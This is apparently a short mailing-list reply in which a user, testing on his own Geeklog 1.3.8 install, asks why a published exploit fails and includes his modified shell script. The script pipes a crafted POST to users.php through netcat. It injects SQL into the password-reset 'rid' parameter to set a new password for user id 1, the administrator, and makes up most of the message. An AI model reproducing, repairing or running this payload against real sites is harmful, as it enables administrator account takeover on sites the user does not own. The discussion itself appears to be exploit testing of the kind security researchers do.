I tried out your exploit on a v1.3.8 Geeklog of mine, but the returned HTML
says: "Your request for a new password has expired. Please try again below."

Am I missing something? All I changed was to use HTTP/1.1 and to use
parameters for host and path:

-----
#!/bin/sh

echo "POST $2users.php HTTP/1.1
Host: $1
Connection: close
Content-length: 50
Content-type: application/x-www-form-urlencoded

mode=setnewpwd&passwd=new&uid=2&rid=3'+or+uid='1&
" | nc $1 80

Thank you,

Thomas
